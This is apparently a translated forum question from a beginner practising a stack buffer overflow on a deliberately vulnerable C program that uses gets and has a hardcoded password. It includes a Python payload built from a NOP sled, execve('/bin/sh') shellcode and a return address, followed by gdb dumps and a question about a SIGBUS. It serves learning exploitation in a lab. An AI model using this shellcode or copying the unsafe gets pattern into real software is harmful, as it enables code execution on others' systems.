我是二进制开发的初学者,我正在训练利用缓冲区溢出 . 我做了一个无用的短C程序:
#include
#include
int main(void) {
setbuf(stdout, NULL);
char buffer[64];
puts("\nWELCOME TO THE REMOTE TEMP CLEANER SERVICE\n");
printf("Please enter a password: ");
gets(buffer);
puts("\n");
if(strcmp(buffer, "securepassword1234") == 0) {
puts("[+] Password correct.");
puts("[*] Cleaning temp folder..");
system("/bin/rm -rf /tmp/*");
puts("[+] Done!");
puts("[*] Disconnecting...");
return 0;
} else {
puts("[-] Incorrect password.");
puts("[*] Disconnecting...");
return 1;
}
return 0;
}
出于培训目的,我正在尝试利用其中的缓冲区溢出漏洞 . 我做了 echo 0 > /proc/sys/kernel/randomize_via_space ,并使用 -fno-stack-protector 和 -z execstack 标志用gcc编译 .
我启动了gdb,经过一些研究尝试用这个输入运行程序
在另一个终端:
echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x42\x42\x42\x42\x42\x42")'` > input
(所以nopslide shellcode返回地址,现在只是6倍\ x42用于测试目的 . 我在http://shell-storm.org/shellcode/files/shellcode-806.php上找到了shellcode,我使用了这个,因为我在64位系统上)
在gdb上: r < input
它给了我这个结果:
Starting program: /root/remotetempclean < input
WELCOME TO THE REMOTE TEMP CLEANER SERVICE
Please enter a password:
[-] Incorrect password.
[*] Disconnecting...
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb)
(gdb)
(gdb)
(gdb)
(gdb) info register
rax 0x1 1
rbx 0x0 0
rcx 0x7ffff7b06134 140737348919604
rdx 0x7ffff7dd48c0 140737351862464
rsi 0x7ffff7dd37e3 140737351858147
rdi 0x0 0
rbp 0x50f3bb05e545752 0x50f3bb05e545752
rsp 0x7fffffffe1d0 0x7fffffffe1d0
r8 0x7ffff7fd14c0 140737353946304
r9 0x0 0
r10 0x88b 2187
r11 0x246 582
r12 0x5555555546e0 93824992233184
r13 0x7fffffffe2a0 140737488347808
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type to continue, or q to quit---
gs 0x0 0
(gdb)
因此RIP寄存器已成功覆盖0x42字节 . 所以在那之后我检查了堆栈,在我的nopslide中搜索一个新的返回地址:
(gdb) x/50x $rsp-65
0x7fffffffe18f: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe19f: 0x90909090 0x90909090 0x90909090 0xc0319090
0x7fffffffe1af: 0x9dd1bb48 0x8cd09196 0xf748ff97 0x5f5453db
0x7fffffffe1bf: 0x54575299 0x0f3bb05e 0x42424205 0x00424242
0x7fffffffe1cf: 0x00000000 0x00000000 0xffe2a800 0x007fffff
0x7fffffffe1df: 0x04000000 0x00000100 0x5547ea00 0x00555555
0x7fffffffe1ef: 0x00000000 0x00000000 0xdc57b600 0x7da82efc
0x7fffffffe1ff: 0x5546e040 0x00555555 0xffe2a000 0x007fffff
0x7fffffffe20f: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe21f: 0xfc57b600 0x28fd7bae 0x2257b615 0x28edc399
0x7fffffffe22f: 0x00000015 0x00000000 0x00000000 0x00000000
0x7fffffffe23f: 0x00000000 0x00000000 0xffe2b800 0x007fffff
0x7fffffffe24f: 0xffe17000 0x007ffff7
所以这个 0x7fffffffe18f 地址看起来不错,它位于nopslide的中间 . 所以我将输入修改为:
echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x8f\xe1\xff\xff\xff\x7f")'` > input
所以现在我想我应该有一个shell,但是当我运行程序时...
(gdb) r < input
Starting program: /root/remotetempclean < input
WELCOME TO THE REMOTE TEMP CLEANER SERVICE
Please enter a password:
[-] Incorrect password.
[*] Disconnecting...
Program received signal SIGBUS, Bus error.
0x00007fffffffe1c0 in ?? ()
(gdb) info registers
rax 0x0 0
rbx 0x68732f6e69622f 29400045130965551
rcx 0x7ffff7b06134 140737348919604
rdx 0x0 0
rsi 0x7ffff7dd37e3 140737351858147
rdi 0x7fffffffe1c8 140737488347592
rbp 0x50f3bb05e545752 0x50f3bb05e545752
rsp 0x7fffffffe1c8 0x7fffffffe1c8
r8 0x7ffff7fd14c0 140737353946304
r9 0x0 0
r10 0x88b 2187
r11 0x246 582
r12 0x5555555546e0 93824992233184
r13 0x7fffffffe2a0 140737488347808
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe1c0 0x7fffffffe1c0
eflags 0x10213 [ CF AF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type to continue, or q to quit---
gs 0x0 0
(gdb)
RIP已"magically"转为 0x7fffffffe1c0 ?它给了一个SIGBUS,我无法理解为什么......我做错了什么?